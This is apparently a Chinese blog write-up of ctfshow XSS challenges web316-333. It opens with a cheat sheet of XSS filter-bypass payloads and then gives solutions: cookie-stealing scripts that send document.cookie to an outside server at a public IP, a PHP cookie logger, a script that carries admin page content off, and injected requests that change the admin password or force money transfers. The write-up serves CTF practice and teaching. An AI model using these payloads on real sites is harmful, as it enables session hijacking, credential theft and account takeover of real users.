当前位置: 首页 > backend >正文

XSS(ctfshow)

xss绕过技巧

基础标签(通用绕过)

标签

示例 payload

适用场景

<script>

<script>alert(1)</script>

基础注入,易被过滤

<img>

<img src=x onerror=alert(1)>

利用onerror

事件触发

<svg>

<svg/onload=alert(1)>

短小高效,绕过空格过滤

<iframe>

<iframe src="javascript:alert(1)">

嵌入JS伪协议

<a>

<a href="javascript:alert(1)">x</a>

需用户点击触发

<body>

<body onload=alert(1)>

页面加载时触发

事件处理器

通过HTML事件属性触发JS代码,无需<script>标签:

事件属性

示例 payload

说明

onerror

<img src=x onerror=alert(1)>

图片加载失败时触发

onload

<body onload=alert(1)>

页面/元素加载完成时触发

onmouseover

<div onmouseover=alert(1)>x</div>

鼠标悬停触发(需交互)

onfocus

<input autofocus onfocus=alert(1)>

元素获取焦点时触发(需交互)

onclick

<button onclick=alert(1)>x</button>

点击触发(需交互)

冷门标签(绕过WAF)

标签

示例 payload

绕过思路

<details>

<details open ontoggle=alert(1)>

利用ontoggle

事件

<audio>

<audio src=x onerror=alert(1)>

类似<img>

但较少被过滤

<video>

<video><source onerror=alert(1)>

多标签嵌套绕过

<marquee>

<marquee onscroll=alert(1)>x</marquee>

老旧标签,可能绕过检测

<embed>

<embed src=javascript:alert(1)>

嵌入JS伪协议

编码与混淆绕过

1. HTML实体编码
&lt;img src=x onerror=alert(1)&gt;
2. JS编码
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x31\x29')>

3. Unicode编码
<img src=x onerror=alert(1)>
<!-- 等价于 -->
<img src=x onerror=\u0061\u006c\u0065\u0072\u0074(1)>

特殊场景绕过技巧

1. 闭合已有标签
</textarea><script>alert(1)</script>
2. 利用属性注入
<input type="text" value="" autofocus onfocus=alert(1)>
3. CSS注入
<style>@import url("javascript:alert(1)");</style>

AJAX 请求

  • 定义:异步javascript和xml,一种无需重新加载整个网页的情况下,能够更新部分网页的技术

  • 特点:异步通信,局部刷新,基于 XMLHttpRequest 对象

jQuery AJAX

$.ajax({url: "example.php",method: "POST",data: { name: "John", age: 30 },success: function(response) {console.log(response);}
});

web316

简单测试一下<script>alert(1)</script>语句,发现可行

此脚本实现的功能为从URL的GET参数获取cookie值,并且把当前时间格式化追加到cookie.txt文件

在服务器端设置一个php文件获取网站cookie

在题目中输入此代码访问

<script>location.href="http:/(自己服务器的公网ip)/test.php?cookie="+document.cookie</script>
//location.href = "..." 强制浏览器跳转到指定的url,并获取当前网站的所有cookie

可以看到服务器端已经出现了cookie.text文件,其中就有flag

web317-319

简单测试一下<script>alert(1)</script>语句,发现不可行

可以用body标签

318 319一样

web320-321(过滤空格)

空格可以用%09(tab)//**/、%0a(换行)代替

<body/**/onload="window.location.href='http://47.111.94.227/test.php?cookie='+document.cookie"></body>
<body/onload="window.location.href='http://47.111.94.227/test.php?cookie='+document.cookie"></body>

web322-326

过滤了script,img,iframe,xss,空格,分号,逗号。

<body/onload="window.location.href='http://47.111.94.227/test.php?cookie='+document.cookie"></body>

web327(存储型)

这里的收件人要是admin,payload是一样的

web328

在注册页面输入payload

<script>document.location.href="http://47.111.94.227/test.php?cookie="+document.cookie</script>

返回

者应该是管理员的cookie值

把cookie值改成PHPSESSID=fofmvp71963lcr1olhqdhpaos0,改包发送,得到flag

web329

根据上题的思路再次尝试,发现不行,应该是cookie立即失效了

payload,基本思路就是利用js文件进入管理员页面,并直接把相关信息带出

<?php $cookie = $_GET['cookie'];$myFile = "cookie.txt";file_put_contents($myFile, $cookie, FILE_APPEND);
?>
var img = new Image();
img.src = 'http://47.111.94.227/cookie.php+document.querySelector('#top > div.layui-container > div:nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main').textContent;
document.body.append(img);
  • document.querySelector(...) 的作用是:

  • 通过 CSS 选择器 定位到页面的某个元素。

  • 提取该元素的 textContent(文本内容)。

<script src=http://47.111.94.227/1.js></script>
//利用注册输入

返回了admin账号的密码,登录拦截就可以得到

web330

新增了修改密码的功能,抓包看一下,想到构造<script>document.location.href="http://127.0.0.1/api/change.php?p=123456"</script>

直接修改管理员密码

这里127.0.0.1是因为数据库是本地的

登录成功后抓包

web331

发现请求方式变成了post

把payload改成post形式的

<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123456'}})</script>

登录即可

web332-333

加了一些转账的相关功能

方法一:

先尝试把转账金额改成负数,或者向自己转账都能让钱变多。

方法二:

脚本

// a.js
$.ajax({url: "http://127.0.0.1/api/amount.php",method: "POST",data:{'u':'test','a':10000},cache: false,success: function(res){
}});

利用注册<script src="http://47.111.94.227/a.js"></script>

http://www.xdnf.cn/news/15107.html

相关文章:

  • Camera2API笔记
  • 创建本地软件仓库(rhel7与rhel9)
  • [C#] 使用TextBox换行失败的原因与解决方案:换用RichTextBox的实战经验
  • JavaScript 树形菜单总结
  • Datawhale AI 夏令营:基于带货视频评论的用户洞察挑战赛 Notebook(下篇)
  • git中的fork指令解释
  • 第1讲:C语言常见概念
  • 【NVIDIA-H100-UFM故障分析实战】GPU 节点反复 “掉线又上线“?300 条日志揪出 InfiniBand 链路抖动真凶
  • SYM32第二十天 ESP8266-01S和电脑实现串口通信(3)
  • 深入理解Java虚拟机:Java内存区域与内存溢出异常
  • RMSNorm/LayerNorm原理/图解及相关变体详解
  • 2025企业私有化知识库工具选型指南——标普智元深度解读
  • 谷粒商城高级篇
  • FPGA设计思想与验证方法系列学习笔记001
  • 数组的应用示例
  • 【前端】jQuery数组合并去重方法总结
  • [论文阅读]Text Compression for Efficient Language Generation
  • 无缝矩阵与普通矩阵的对比分析
  • 「按键精灵安卓/ios辅助工具」动态验证码该怎么得到完整的图片
  • 电脑被突然重启后,再每次打开excel文件,都会记录之前的位置窗口大小,第一次无法全屏显示。
  • Prompt提示词的主要类型和核心原则
  • QTextCodec的功能及其在Qt5及Qt6中的演变
  • OKHttp 核心知识点详解
  • [Xmos] Xmos架构
  • Docker-构建镜像并实现LNMP架构
  • 【运维实战】解决 K8s 节点无法拉取 pause:3.6 镜像导致 API Server 启动失败的问题
  • 在指定conda 环境里安装 jupyter 和 python kernel的方法
  • vscode和插件用法
  • 「莫尔物理新范式」普林斯顿马普所合作Nature论文:SnSe₂/ZrS₂扭曲双层实现M点能谷调控与拓扑新效应
  • 如何设计一个登录管理系统:单点登录系统架构设计